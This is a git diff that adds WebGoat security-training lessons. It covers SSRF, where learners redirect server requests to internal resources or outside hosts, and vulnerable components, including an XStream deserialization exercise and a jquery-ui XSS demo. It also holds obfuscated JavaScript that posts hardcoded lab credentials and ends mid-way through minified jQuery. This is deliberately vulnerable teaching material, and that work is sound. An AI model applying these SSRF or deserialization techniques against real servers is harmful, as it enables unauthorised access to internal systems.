+== Concept +In a Server-Side Request Forgery (SSRF) attack, the attacker can abuse functionality on the server to read or update internal resources. The attacker can supply or modify a URL which the code running on the server will read or submit data to. Moreover, by carefully selecting the URLs, the attacker may read server configuration such as AWS metadata, connect to internal services like HTTP enabled databases, or perform post requests towards internal services that are not intended to be exposed. + +== Goals +In the exercises on the following pages, you need to examine what the browser sends to the server and adjust the request to get other things from the server. + +== SSRF How-To +* https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF + +== A New Era of SSRF by Orange Tsai + +video::D1S-G8rJrEk[youtube, height=480, width=100%] \ No newline at end of file diff --git a/src/main/resources/lessons/ssrf/documentation/SSRF_Prevent.adoc b/src/main/resources/lessons/ssrf/documentation/SSRF_Prevent.adoc new file mode 100755 index 000000000..fe33884b6 --- /dev/null +++ b/src/main/resources/lessons/ssrf/documentation/SSRF_Prevent.adoc @@ -0,0 +1,11 @@ +== Prevent + +To prevent SSRF vulnerabilities in web applications, it is recommended to adhere to the following guidelines: + +* Use a whitelist of allowed domains, resources, and protocols from where the webserver can fetch resources. +* Any input accepted from the user should be validated and rejected if it does not match the positive specification expected. +* If possible, do not accept user input in functions that control where the webserver can fetch resources. + +== References +* https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html + diff --git a/src/main/resources/lessons/ssrf/documentation/SSRF_Task1.adoc b/src/main/resources/lessons/ssrf/documentation/SSRF_Task1.adoc new file mode 100755 index 000000000..fae8fc34b --- /dev/null +++ b/src/main/resources/lessons/ssrf/documentation/SSRF_Task1.adoc @@ -0,0 +1,2 @@ +=== Find and modify the request to display Jerry +Click the button and figure out what happened. diff --git a/src/main/resources/lessons/ssrf/documentation/SSRF_Task2.adoc b/src/main/resources/lessons/ssrf/documentation/SSRF_Task2.adoc new file mode 100755 index 000000000..7f35490fb --- /dev/null +++ b/src/main/resources/lessons/ssrf/documentation/SSRF_Task2.adoc @@ -0,0 +1,2 @@ +=== Change the request, so the server gets information from http://ifconfig.pro +Click the button and figure out what happened. diff --git a/src/main/resources/lessons/ssrf/html/SSRF.html b/src/main/resources/lessons/ssrf/html/SSRF.html new file mode 100755 index 000000000..39d6927c6 --- /dev/null +++ b/src/main/resources/lessons/ssrf/html/SSRF.html @@ -0,0 +1,56 @@ + + + + +
    +
    +
    + +
    +
    +
    +
    +
    +
    HOSTNAMEIPMACONLINEDESCRIPTION
    + + + + + + +
    + +
    +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + + + +
    +
    +
    +
    +
    +
    + +
    +
    +
    + diff --git a/src/main/resources/lessons/ssrf/i18n/WebGoatLabels.properties b/src/main/resources/lessons/ssrf/i18n/WebGoatLabels.properties new file mode 100755 index 000000000..4b4825ebc --- /dev/null +++ b/src/main/resources/lessons/ssrf/i18n/WebGoatLabels.properties @@ -0,0 +1,9 @@ +ssrf.title=Server-Side Request Forgery + +ssrf.tom=You failed to steal the cheese! +ssrf.success=You rocked the SSRF! +ssrf.failure=You need to stick to the game plan! + +ssrf.hint1=You should use an HTTP proxy to intercept the request and change the URL. +ssrf.hint2=If Tom is images/tom.png, Jerry would be images/jerry.png. +ssrf.hint3=You need to put the protocol, "http://" in front of ifconfig.pro. \ No newline at end of file diff --git a/src/main/resources/lessons/ssrf/images/cat.jpg b/src/main/resources/lessons/ssrf/images/cat.jpg new file mode 100644 index 000000000..e0e1fb983 Binary files /dev/null and b/src/main/resources/lessons/ssrf/images/cat.jpg differ diff --git a/src/main/resources/lessons/ssrf/images/jerry.png b/src/main/resources/lessons/ssrf/images/jerry.png new file mode 100644 index 000000000..5ed492711 Binary files /dev/null and b/src/main/resources/lessons/ssrf/images/jerry.png differ diff --git a/src/main/resources/lessons/ssrf/images/tom.png b/src/main/resources/lessons/ssrf/images/tom.png new file mode 100644 index 000000000..d8e50d91a Binary files /dev/null and b/src/main/resources/lessons/ssrf/images/tom.png differ diff --git a/src/main/resources/lessons/ssrf/js/credentials.js b/src/main/resources/lessons/ssrf/js/credentials.js new file mode 100755 index 000000000..b7387c623 --- /dev/null +++ b/src/main/resources/lessons/ssrf/js/credentials.js @@ -0,0 +1,6 @@ +function submit_secret_credentials() { + var xhttp = new XMLHttpRequest(); + xhttp['open']('POST', '#attack/307/100', true); + //sending the request is obfuscated, to descourage js reading + var _0xb7f9=["\x43\x61\x70\x74\x61\x69\x6E\x4A\x61\x63\x6B","\x42\x6C\x61\x63\x6B\x50\x65\x61\x72\x6C","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x73\x65\x6E\x64"];xhttp[_0xb7f9[3]](JSON[_0xb7f9[2]]({username:_0xb7f9[0],password:_0xb7f9[1]})) +} \ No newline at end of file diff --git a/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content0.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content0.adoc new file mode 100644 index 000000000..04ac576cd --- /dev/null +++ b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content0.adoc @@ -0,0 +1,13 @@ +== The Open Source Ecosystems + +* 10+ Million GitHub code repositories +* 1 Million Sourceforge code repositories +* 2500 public binary repositories +** Some repositories have strict publisher standards +*** Some repositories enforce source code distribution +*** No guarantee the published source code is the source code of the published binary +** Some repositories allow the republishing of a different set of bits for the same version +** Some repositories allow you to remove published artifacts +* Many different packaging systems; even for the same language +* Different coordinates systems and level of granularity + diff --git a/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content1.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content1.adoc new file mode 100644 index 000000000..e5defe314 --- /dev/null +++ b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content1.adoc @@ -0,0 +1,7 @@ + +== 2013 OWASP Top 10 - A9 + +As early as 2013, thought leaders like OWASP recognized that "WE" need to pay attention to this problem. + + +image::images/OWASP-2013-A9.png[caption="Figure: ", title="2013 OWASP - Top 10 - A9", alt="A9", width="800", height="500", style="lesson-image" link="https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities"] diff --git a/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content1a.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content1a.adoc new file mode 100644 index 000000000..a35106342 --- /dev/null +++ b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content1a.adoc @@ -0,0 +1,11 @@ + +== Components are everywhere + +WebGoat uses almost *200 Java and JavaScript* libraries. Like most Java applications, we use maven to manage our java dependencies and we employ the wild, wild west strategy for managing JavaScript. + +=== Vulnerable components in WebGoat? + +When this lesson was created WebGoat contained more than a dozen high security risks within it's components. Most of these were not deliberate choices. How are developers supposed to track this information across the hundreds of components? + +image::images/WebGoat-Vulns.png[caption="Figure: ", title="WebGoat Security Issues", alt="Security Issues", width="800", height="400", style="lesson-image"] + diff --git a/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content2.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content2.adoc new file mode 100644 index 000000000..cdb5b9be8 --- /dev/null +++ b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content2.adoc @@ -0,0 +1,6 @@ +== The exploit is not always in "your" code +Below is an example of using the same WebGoat source code, but different versions of the jquery-ui component. One is exploitable; one is not. + +=== jquery-ui:1.10.4 +This example allows the user to specify the content of the "closeText" for the jquery-ui dialog. This is an unlikely development scenario, however the jquery-ui dialog (TBD - show exploit link) does not defend against XSS in the button text of the close dialog. + diff --git a/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content2a.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content2a.adoc new file mode 100644 index 000000000..b041d5535 --- /dev/null +++ b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content2a.adoc @@ -0,0 +1,4 @@ + +=== jquery-ui:1.12.0 Not Vulnerable + +Using the same WebGoat source code but upgrading the jquery-ui library to a non-vulnerable version eliminates the exploit. diff --git a/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content3.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content3.adoc new file mode 100644 index 000000000..a8710db2b --- /dev/null +++ b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content3.adoc @@ -0,0 +1,14 @@ +== Knowing the OSS "Bill of Materials" is the starting point + +Modern applications are comprised of custom code and many pieces of open source. The developer is normally very knowledgeable about their custom code but less familiar with the potential risk of the libraries/components they use. Think of the bill of materials as the list of ingredients in a recipe. + +=== Questions we should know the answer to: + +* How do we know what open source components are in our applications? +** How do we know what versions of open source components we are using? +* How do we define the risk of open source components? +* How do we discover the risk of open source components? +** How do we associate a specific risk to a specific version of an open source component? +* How do we know when a component releases a new version? +* How do we know if a new vulnerability is found on what was previously a "good" component? +* How do we know if we are using the authentic version of an open source component? diff --git a/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4.adoc new file mode 100644 index 000000000..d8ee4e39b --- /dev/null +++ b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4.adoc @@ -0,0 +1,60 @@ +== How do I generate a Bill of Materials + +There are several open source and paid-for solutions that will identify risk in components. However, there are not many tools that will deliver a complete list of "ingredients" used within an application. OWASP Dependency Check provides the ability to generate a bill of materials and identify potential security risk. + +Dependency check uses several pieces of evidence to determine the library names. You can add OWASP Dependency check as a plugin to the pom.xml of a Maven project for instance. The plugin will download information from public vulnerability databases and it will check if vulnerable libraries are used and will indicate which vulnerability was reported. + +As part of a development pipeline, you can instruct the plugin to fail the build if there are violations that the development team was not aware of. Additionally you can use an xml file to waiver some of the violations. You should do so if the mentioned vulnerability cannot be exploited in your application. + +In the parent pom.xml from WebGoat you can see an example: + +[source,xml] +---- + + org.owasp + dependency-check-maven + 5.3.2 + + 7 + true + true + + project-suppression.xml + + + + + + check + + + + +---- + +And also an example of the suppressed violations. + +[source,xml] +---- + + + + cpe:/a:pivotal_software:spring_security + CVE-2018-1258 + + + cpe:/a:postgresql:postgresql + CVE-2018-10936 + + +---- + +In the case of WebGoat, the plugin is activated when the following is run (owasp profile): + + mvn clean install -Powasp + +Below is a snippet of a report, which can be found in e.g. webgoat-container/target/dependency-check-report.html: + +image::images/OWASP-Dep-Check.png[caption="Figure: ", title="WebGoat Bill of Materials", alt="BoM", width="988", height="515", style="lesson-image"] + + diff --git a/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4a.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4a.adoc new file mode 100644 index 000000000..8638a1f05 --- /dev/null +++ b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4a.adoc @@ -0,0 +1,23 @@ +== Security Information Overload + +=== What's important? + +* Is my component exploitable? +* Is my component an authentic copy? +** Do I understand why my component is modified? + +=== Security information is scattered everywhere + +* Multiple sources of security advisories +** 80,000+ CVEs in the National Vulnerbility Database +** Node Security Project, Metasploit, VulnDB, Snyk, ... +** Thousands of website security advisories, blogs, tweets, ... +* 600,000 GitHub events generated daily +** 700 GitHub security related events +** Release notes, change logs, code comments, ... + +=== Summary + +* It is not reasonable to expect a developer to continually research each component. +* Developers are not security experts; they already have a day job. + diff --git a/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4b.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4b.adoc new file mode 100644 index 000000000..a57074c42 --- /dev/null +++ b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4b.adoc @@ -0,0 +1,23 @@ +== License Information Overload + +=== What's important? + +* Can I use this component within the context of distribution of my software? +* Are there license incompatibilities? +* If using a modified component, did I addressed additional license obligations? + +=== License information is scattered everywhere + +* Projects declare a license: +** In a project metadata file. +** On the project website or source code repository page. +** Using a link to a license file in their own source code repository. +** In a license file within the project source tree. +** In the binary META-INF folder. +* Projects include licenses as headers in the source code. + +=== Summary + +* It is difficult to determine the scope of a license. +* A project often has license discrepancies. +* Developers are not lawyers . diff --git a/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4c.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4c.adoc new file mode 100644 index 000000000..415786a28 --- /dev/null +++ b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content4c.adoc @@ -0,0 +1,23 @@ +== Architecture Information + +=== What's important? + +* Is my component old or is it stable +* Is my component unpopular +* Was my lack of upgrade a deliberate choice or a lack of knowledge + +=== Summary + +* It's really difficult to keep components up to date + +For the components analyzed in 25,000 applications it was found that: + +* 8% of 2 year old components did not have a newer version +* 23% of 11 year old components did not have a newer version +* Older components make up the majority of the risk + +[cols="2a,2a"] +|=== +| image::images/Old-Components.png[caption="Figure: ", title="Old Components", alt="Old Components", width="355", height="304", style="lesson-image"] +| image::images/Risk-of-Old-Components.png[caption="Figure: ", title="Risk of Old Components", alt="Risk of Old Components", width="355", height="304", style="lesson-image"] +|=== \ No newline at end of file diff --git a/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content5.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content5.adoc new file mode 100644 index 000000000..d0a29a365 --- /dev/null +++ b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content5.adoc @@ -0,0 +1,15 @@ +== Some Examples of OSS Risk + +=== Commons Collections +In November of 2015, the Apache Commons Collections component latest release was 8 years old. Commons Collections was considered a reliable and stable component. A researcher found a way to exploit a deserialization issue in Commons Collections resulting in a remote code execution. The next day... *everyone using Commons Collections was in a panic*. + +Ref: http://www.pcworld.com/article/3004633/business-security/thousands-of-java-applications-vulnerable-to-nine-month-old-remote-code-execution-exploit.html[Thousands of Java applications vulnerable to nine-month-old remote code execution exploit] + + +=== Dinis Cruz and Alvaro Munoz exploit of XStream +XStream, a relatively common XML and JSON parsing library, has a nasty little remote code execution. + +Ref: https://diniscruz.blogspot.com/2013/12/xstream-remote-code-execution-exploit.html[Dinis Cruz Blog] + +https://github.com/pwntester/XStreamPOC[pwntester/XStreamPOC] + +You may want to read the article(s) before trying this lesson. Let's see if you can figure out how to exploit this in WebGoat. + diff --git a/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content5a.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content5a.adoc new file mode 100644 index 000000000..1809cf26b --- /dev/null +++ b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content5a.adoc @@ -0,0 +1,18 @@ +== Exploiting http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-7285[CVE-2013-7285] (XStream) + +NOTE: This lesson only works when you are using the Docker image of WebGoat. + +WebGoat uses an XML document to add contacts to a contacts database. +[source,xml] +---- + + 1 + Bruce + Mayhew + webgoat@owasp.org + +---- + +The java interface that you need for the exercise is: org.owasp.webgoat.lessons.vulnerablecomponents.Contact. +Start by sending the above contact to see what the normal response would be and then read the CVE vulnerability documentation (search the Internet) and try to trigger the vulnerability. +For this example, we will let you enter the XML directly versus intercepting the request and modifying the data. You provide the XML representation of a contact and WebGoat will convert it a Contact object using `XStream.fromXML(xml)`. diff --git a/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content6.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content6.adoc new file mode 100644 index 000000000..0cc532f34 --- /dev/null +++ b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_content6.adoc @@ -0,0 +1,16 @@ +== Summary + +* Open source consumption in modern day applications has increased. +* Open source is obtained from many different repositories with different quality standards. +* Security information on vulnerabilities is scattered everywhere. +* License information is often difficult to validate. +* Most teams don't have a component upgrade strategy. +* *Open source components are the new attack vector.* + +== What to do +* Generate an OSS Bill of Materials. +** Use http://lmgtfy.com/?q=OSS+bill+of+materials[automated tooling] +* Baseline open source consumption in your organization. +* Develop an open source component risk management strategy to mitigate current risk and reduce future risk. + + diff --git a/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_plan.adoc b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_plan.adoc new file mode 100644 index 000000000..f09d521e2 --- /dev/null +++ b/src/main/resources/lessons/vulnerablecomponents/documentation/VulnerableComponents_plan.adoc @@ -0,0 +1,17 @@ += Vulnerable Components + +== Concept + +The way we build software has changed. The open source community is maturing and the availability of open source software has become prolific without regard to determining the provenance of the libraries used in our applications. Ref: https://www.sonatype.com/hubfs/SSC/Software_Supply_Chain_Inforgraphic.pdf?t=1485298506170[Software Supply Chain] + +This lesson will walk through the difficulties with managing dependent libraries, the risk of not managing those dependencies, and the difficulty in determining if you are at risk. + +image::images/OpenSourceGrowing.png[caption="Figure: ", title="Software Supply Chain", alt="SSC", width="500", height="300", style="lesson-image" link="https://www.sonatype.com/hubfs/SSC/Software_Supply_Chain_Inforgraphic.pdf?t=1485298506170[Software Supply Chain"] + + +== Goals + +* Gain awareness that the open source consumed is as important as your own custom code. +* Gain awareness of the management, or lack of management, in our open source component consumption. +* Understand the importance of a Bill of Materials in determining open source component risk + diff --git a/src/main/resources/lessons/vulnerablecomponents/html/VulnerableComponents.html b/src/main/resources/lessons/vulnerablecomponents/html/VulnerableComponents.html new file mode 100644 index 000000000..a281cb8d0 --- /dev/null +++ b/src/main/resources/lessons/vulnerablecomponents/html/VulnerableComponents.html @@ -0,0 +1,126 @@ + + + + + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    + +
    + + + + + + +
    Clicking go will execute a jquery-ui close dialog:
    + +
    This dialog should have exploited a known flaw in jquery-ui:1.10.4 and allowed a XSS attack to occur
    + +
    +
    + +
    + +
    +
    +
    + +
    + + + + + + +
    Clicking go will execute a jquery-ui close dialog:
    + +
    This dialog should have prevented the above exploit using the EXACT same code in WebGoat but using a later version of jquery-ui.
    + +
    +
    + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    + + + + +
    Enter the contact's xml representation:",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
    "],col:[2,"","
    "],tr:[2,"","
    "],td:[3,"","
    "],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(oa(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&ma(oa(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(oa(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!da.test(a)&&!ia[(ba.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(aa,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(oa(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(oa(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&ea.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(oa(c,"script"),ka),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,oa(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,la),j=0;g>j;j++)h=f[j],fa.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(ha,"")))}return 